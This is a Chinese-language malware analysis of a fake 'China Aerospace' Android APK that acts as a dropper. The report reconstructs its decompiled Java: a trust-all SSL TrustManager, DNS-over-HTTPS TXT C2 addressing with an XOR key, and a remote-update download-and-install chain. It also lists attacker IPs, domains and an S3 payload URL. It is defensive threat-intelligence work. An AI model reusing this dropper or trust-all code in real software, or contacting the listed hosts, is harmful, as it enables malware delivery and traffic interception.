一个仅 376KB 的 WebView 壳应用,通过 DoH TXT 隐蔽寻址、全局禁用 SSL 校验、远程 APK 投递链,伪装成"中国航天"政企品牌实施黑产投放。本文完整还原其多级域名探测、自更新投递链与网络 IOC。
分析日期:2026-06-26
0. 结论速览
zght.apk 是一个伪装成"中国航天"政企品牌的恶意 WebView 壳应用(dropper / 投递器)。
🛑 核心判定本 APK 仅是一个“投递壳”,真实的危害在于远程下发的更新包。
🔗 运行机制无实质功能:本身无任何航天业务功能。动态拉取:仅承载一个 WebView,通过多级域名热备动态拉取前端服务器地址。
💡 二阶段 Payload 来源由 AWS S3 上的 latest-version-info.json 动态下发。
关键特征一览:
- •
本身无任何航天业务功能,仅承载一个 WebView;
- •
通过 DoH TXT 隐蔽寻址 + 多级域名热备 动态拉取前端服务器地址;
- •
全局 禁用 SSL 证书校验(trust-all),对中间人友好;
- •
具备以"版本更新"为名的远程 APK 下载 + 拉起安装能力(
REQUEST_INSTALL_PACKAGES); - •
二阶段 payload 不在包内,而由 AWS S3 上的
latest-version-info.json动态下发——本 APK 仅是投递壳,真实危害在远程下发的更新包。
判定:恶意样本(黑产投递壳),非中国航天官方应用。
1. 样本基础信息
zght.apk | |
376 KB (384,160 bytes) | |
MD5 | 5d83ab37757f4caf61918c3ee36449ae |
包名 | com.spacechina.a831a032a |
2. 签名证书
Issuer / Subject: C=CN, ST=Beijing, L=Beijing,O=AI Smart Robot Association, OU=Mobile, CN=AI Smart Robot AssociationSerial: 0x424fddfa2f86a19 (298642612267018777)Validity: 2026-05-12 ~ 2053-09-27Public Key: RSA 2048
签名主体自称"AI Smart Robot Association(北京)",与"中国航天"无任何关联 ,且证书起始时间 2026-05-12 晚于样本落盘常见时间,典型的伪造身份。包名 `com.spacechina.a831a032a` 中 `a831a032a` 为随机哈希后缀,用于规避应用商店/检测系统对包名一致性的核查。
3. AndroidManifest 关键点
权限:
- •
INTERNET、ACCESS_NETWORK_STATE、ACCESS_WIFI_STATE - •
READ/WRITE_EXTERNAL_STORAGE(受限 maxSdkVersion) - •
REQUEST_INSTALL_PACKAGES—— 可安装其他 APK,最危险的能力
Application 属性:
- •
android:usesCleartextTraffic="true"(允许明文 HTTP) - •
android:allowBackup="false"、extractNativeLibs="true"
组件:
- •
MainActivity(exported,启动入口) - •
FileProvider,authoritycom.spacechina.a831a032a.fileprovider(配合 file_paths 对外暴露下载的 APK) - •
CountlyPushActivity(推送,Countly SDK) - •
InitializationProvider(androidx.startup)
自定义权限:
- •
com.spacechina.a831a032a.CountlyPush.BROADCAST_PERMISSION(signature 级) - •
com.spacechina.a831a032a.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION
⚠️⚠️⚠️ 风险提示⚠️⚠️⚠️
REQUEST_INSTALL_PACKAGES
最危险的能力——可下载并拉起安装任意远程 APK,是 dropper 投递链的核心权限
usesCleartextTraffic=true
允许明文 HTTP 传输,配合 SSL 信任禁用,所有网络流量均可被中间人劫持。在FileProvider暴露的前提下,配合 file_paths 对外暴露下载的 APK 文件,使 PackageInstaller 可读取安装包。
4. 代码结构
应用代码集中在 com.spacechina.app.MainActivity 与混淆包 o.*:
📦 混淆包功能映射
🎯 o.a | 多用途分发器
通过 switch case 0~5,负责对话框弹出、更新检测、UI 线程投递。
🛡️ o.d | trust-all TrustManager
X509TrustManager 空实现,checkServerTrusted 方法体为空。
🌐 o.e | 全放行 HostnameVerifier
verify 一律 return true,不校验主机名。
📲 o.f | 安装触发器
DownloadManager 完成广播 → FileProvider + VIEW → 系统 PackageInstaller。
🛠️ o.t | 网络工具集
DoH 查询 / API 拉取 / 域名探测 / SSL 容错 / XOR 解码。
📋 o.m | 更新信息模型
包含字段:{version, version_name, build_time, download_url}。
5. 核心行为分析
5.1 启动与多级地址探测
MainActivity.onCreate 启动后,按如下优先级解析"前端页面服务器地址",任一级成功即停止:
第一级 — DoH TXT 查询(o.n):
- •
向
https://dns.alidns.com/resolve?name=cai.aliyundnstxtrecords.com&type=TXT查询 TXT 记录; - •
返回内容去掉首尾引号后 Base64 解码,再用 XOR 密钥
aa123123还原(o.t.b); - •
按
|分隔成多个 URL(o.t.c)。
典型"DNS TXT 做 C2 寻址"的隐蔽回传手法。
第二级 — DoH 失败 → API 接口拉取(o.j case 0 → o.t.d):
- •
对
initial_domains列表逐一 POST,返回 JSON 数组作为可用域名。
第三级 — 仍失败 → 第二轮直连探测(MainActivity.d → o.t.e):
- •
对
default_domains逐一 HEAD 请求,判 2xx / 401 / 404 为可达。
第四级 — 全部失败 → fallback(MainActivity.e):
- •
使用
default_fallback_url。
成功域名被加入 WebView 白名单 q(MainActivity.a 校验 host):白名单内地址在 WebView 内打开,其余跳外部浏览器——黑产"主站防劫持/防安全软件抓取"的常规设计。
5.2 SSL 校验完全禁用(高危)
对所有出站 HTTPS 连接一律信任,中间人可任意替换内容
o.d 的 X509TrustManager 空实现 + o.e 的 HostnameVerifier 全放行,被装入所有 SSLContext。
该操作可使DoH、API、域名探测、WebView 资源、AWS S3 更新源——全部不校验证书
具体实现:
- •
o.d:X509TrustManager空实现(checkServerTrusted方法体为空,getAcceptedIssuers返回空数组); - •
o.e:HostnameVerifier,verify一律return true; - •
两者在
o.t.f(网络工具)与MainActivity.f(更新检测)中装入SSLContext。
后果:
- •
中间人 / 运营商可任意替换页面内容;
- •
自签 IP 站点(
https://118.178.174.79:32939等)可被直接加载而不报警; - •
即便官方 S3 证书有效也禁用校验,dropper 自身可被第三方劫持替换更新包。
5.3 WebView 配置
setJavaScriptEnabled(true)setDomStorageEnabled(true)setMixedContentMode(2) // 允许 HTTPS 页面加载 HTTP 资源setJavaScriptCanOpenWindowsAutomatically(true)setSupportMultipleWindows(true)setCacheMode(-1)LOAD_DEFAULT clearCache(true)// 一次性清理历史缓存(清痕)
WebViewClient o.g 在 onPageFinished / onPageCommitVisible 页面加载成功时触发 MainActivity.i(进入更新检测,见 5.4)。
5.4 自更新 / 投递链(高危,已完整还原)
o.a 是一个多用途 switch 分发器(构造函数 a(obj, obj2, caseId),由 caseId 决定行为):
b(…,0) → 外部浏览器打开) | ||
runOnUiThread(Runnable) 包装器 | ||
弹"发现新版本"更新对话框b(…,1) 触发下载 | ||
MainActivity.i() | 核心:执行更新检测 HTTP 请求 | |
o.o | loadUrl |
阶段 A — 触发(MainActivity.i)
WebView 页面加载成功后调用:
l();// 取消等待超时 & 关闭旧对话框f70c.setVisibility(8);// 隐藏 loadingif(f79l)return;// 一次性守卫(每进程仅检测一次)f79l =true;ExecutorService es =Executors.newSingleThreadExecutor();es.submit(newa(mainActivity, es,3));// → case 3
关键:更新检测只在"页面成功加载"后才触发,且进程内只跑一次(f79l 守卫),降低无网/被拦时的暴露面。
阶段 B — 检测(case 3,核心)
url =getString(R.string.update_check_url)// = https://amzn-bucket-ns9.s3.ap-east-1.amazonaws.com/cast/releases/latest-version-info.jsonconn =(HttpURLConnection)newURL(url).openConnection();MainActivity.f(conn);// ← 给 S3 的 HTTPS 也装上 trust-all(!! )conn.setRequestMethod("GET");conn.setConnectTimeout(5000);setReadTimeout(5000);conn.setUseCaches(false);conn.setRequestProperty("Accept","application/json");conn.setRequestProperty("User-Agent","SpaceChina-Android/"+ versionName);if(200<= responseCode <300){ body =readAll(conn.getInputStream()); m =MainActivity.g(body);// 解析 JSON → m{version, version_name, build_time, download_url, package_id}if(m !=null&& version 非空 && download_url 非空){if(MainActivity.h(this, m.version_name)){// 远端 version_name > 本机 versionNameo(newa(this, m,2));// → 投 case 2 到 UI 线程}}elseLog.w("更新检测返回数据无效");}es.shutdown();
关键细节:
- 1.
对 AWS S3 的连接也被装上 trust-all——同一套"容错"代码无差别套用到所有出站连接;
- 2.
自定义 UA
SpaceChina-Android/<versionName>,服务端可据此做版本灰度/区分投放; - 3.
版本比较用
String.compareTo(非语义化版本):version_name.trim().compareTo(localVersionName.trim()) > 0即判为有新版。1.9<1.10会字典序误判为无新版——朴素实现; - 4.
package_id字段被g()读出但未赋给m任何字段(被丢弃),疑似服务端预留字段。
阶段 C — 弹窗(case 2)
msg = update_dialog_message // "检测到新版本 %1$s,当前版本为 %2$s,是否立即下载并安装?".format(version_name ?: version, localVersion)if(build_time 非空) msg +="\n构建时间:"+ build_time AlertDialog.setTitle(update_dialog_title)// "发现新版本".setMessage(msg).setNegativeButton(cancel,null).setPositiveButton(update_dialog_confirm,newb(mainActivity, m,1))// "立即更新" → o.b case 1.show();
isFinishing()/isDestroyed() 守卫,Activity 销毁时不弹。
阶段 D — 下载(o.b case 1,正键回调)
uri =Uri.parse(m.download_url);filename ="spacechina-update-"+(version ?:"latest").replaceAll("[^a-zA-Z0-9._-]","_")+".apk";req =newDownloadManager.Request(uri);req.setTitle(update_download_title);// "正在下载新版本"req.setDescription(update_download_description.format(version));req.setNotificationVisibility(1);// 下载通知可见req.setMimeType("application/vnd.android.package-archive");req.setAllowedOverMetered(true);setAllowedOverRoaming(true);req.setDestinationInExternalFilesDir(mainActivity, DIRECTORY_DOWNLOADS, filename);mainActivity.f78k = mainActivity.f72e.enqueue(req);// 记录 download idToast("已开始下载更新");
阶段 E — 安装(o.f,DOWNLOAD_COMPLETE 广播)
if(download_id == f78k){ cursor =DownloadManager.query(filterById(id));if(status ==8/*STATUS_SUCCESSFUL*/){ path =Uri.parse(local_uri).getPath(); file =newFile(path);if(file.exists()){if(SDK <26||canRequestPackageInstalls()){ uri =(SDK >=24)?FileProvider.getUriForFile(ctx, ctx+".fileprovider", file):Uri.fromFile(file);Intent("android.intent.action.VIEW").setDataAndType(uri,"application/vnd.android.package-archive").addFlags(FLAG_NEW_TASK | FLAG_GRANT_READ_URI_PERMISSION);startActivity(intent);// ← 拉起系统 PackageInstaller}else{// Android 8+: 跳"未知来源"授权页Intent("android.settings.MANAGE_UNKNOWN_APP_SOURCES").setData("package:"+ packageName);startActivity(intent);Toast("请先允许安装未知来源应用后重试");}}}}
完整投递时序

5.5 数据上报(Countly)
集成 Countly SDK,服务端与 AppKey 写死在 strings.xml:
- •
countly_server_url=https://analyze.countly.vip - •
countly_app_key=62ceb816aa984e8eccfbe91f5e34128d4321abec
用于设备活跃/装量统计(黑产常用自建 Countly 做渠道数据)。
🥸🥸🥸黑产也要KPI考核了
6. 网络 IOC 汇总
initial_domains(DoH/API 阶段):
- •
https://95.40.169.98/ios - •
https://qju2limen3gciofbmwhphdnggu0slfzh.lambda-url.ap-east-1.on.aws/ios(AWS Lambda ap-east-1)
default_domains(第二轮直连探测):
- •
https://www.spaceg01.com/spaceg02.com/spaceg03.com/spaceg06.com - •
https://118.178.174.79:32939(阿里云) - •
https://8.159.152.71:32939(阿里云) - •
https://8.148.13.103:32939(阿里云) - •
https://39.105.67.78:32939(阿里云) - •
https://8.155.163.130:32939(阿里云)
default_fallback_url:https://202.61.85.112:32939
DoH TXT 寻址域名:cai.aliyundnstxtrecords.com(XOR 密钥 aa123123)
自更新元数据:https://amzn-bucket-ns9.s3.ap-east-1.amazonaws.com/cast/releases/latest-version-info.json(AWS S3 ap-east-1)
统计上报:https://analyze.countly.vip(AppKey 62ceb816aa984e8eccfbe91f5e34128d4321abec)
端口统一
32939,域名伪装spaceg0x.com("space" 对应"航天")。基础设施横跨阿里云 + AWS(ap-east-1),具有跨境分发特征。
7. 风险评估
高危能力矩阵
SSL 信任| 全局禁用采用 trust-all X509TrustManager + HostnameVerifier 全放行,对中间人攻击(MITM)极其友好。
远程安装 | 可投递结合 REQUEST_INSTALL_PACKAGES + DownloadManager + PackageInstaller,具备半静默安装任意远程 APK 的能力。
隐蔽寻址| DoH TXT利用 DNS TXT 记录进行 C2 寻址,并辅以 XOR 编码,具备极强的抗封锁与抗检测能力。
域名热备 | 多级冗余构建了 4 级域名探测链 + fallback 机制,确保恶意基础设施的高可用性。
静默程度与真实 Payload 风险研判
社工驱动半静默投放该恶意行为并非全自动静默安装,而是依赖“页面加载成功 → 服务端返回更高版本 → 诱导用户点击立即更新”。针对 Android 8+ 系统,仅需诱导用户授权“未知来源”即可。因其伪装成普通 App 更新,普通用户极易顺从。二阶段 Payload 不在包内本APK 仅是一个“投递壳”,真实的恶意载荷由 latest-version-info.json 中的 download\_url 动态下发。因此,要获取当前活跃的 Payload,必须进行联网取证以抓取该 JSON 文件,仅靠本地静态分析是不够的。️当前未见敏感权限(潜在威胁)目前样本中未见通讯录、短信、定位或无障碍等敏感权限。但攻击者可通过上述的“自更新”机制,在后续下发包含敏感权限的二阶段 8. 处置建议
强化意识与应急响应
- 正规渠道下载与权限管控:严格通过手机自带应用商店或官方可信渠道下载应用,坚决抵制不明链接与网页弹窗。安装时遵循“最小化授权”原则,拒绝非必要的敏感权限请求(如普通工具类APP索要通讯录、定位等)。
- 异常状态紧急处置:若手机出现异常发热、卡顿、频繁弹窗或指示灯莫名亮起(疑似摄像头/麦克风被后台调用),应立即采取应急措施:首先物理遮挡摄像头,随后拔出SIM卡以切断网络传输通道,最后关机并寻求专业机构协助处理。
夜雨聆风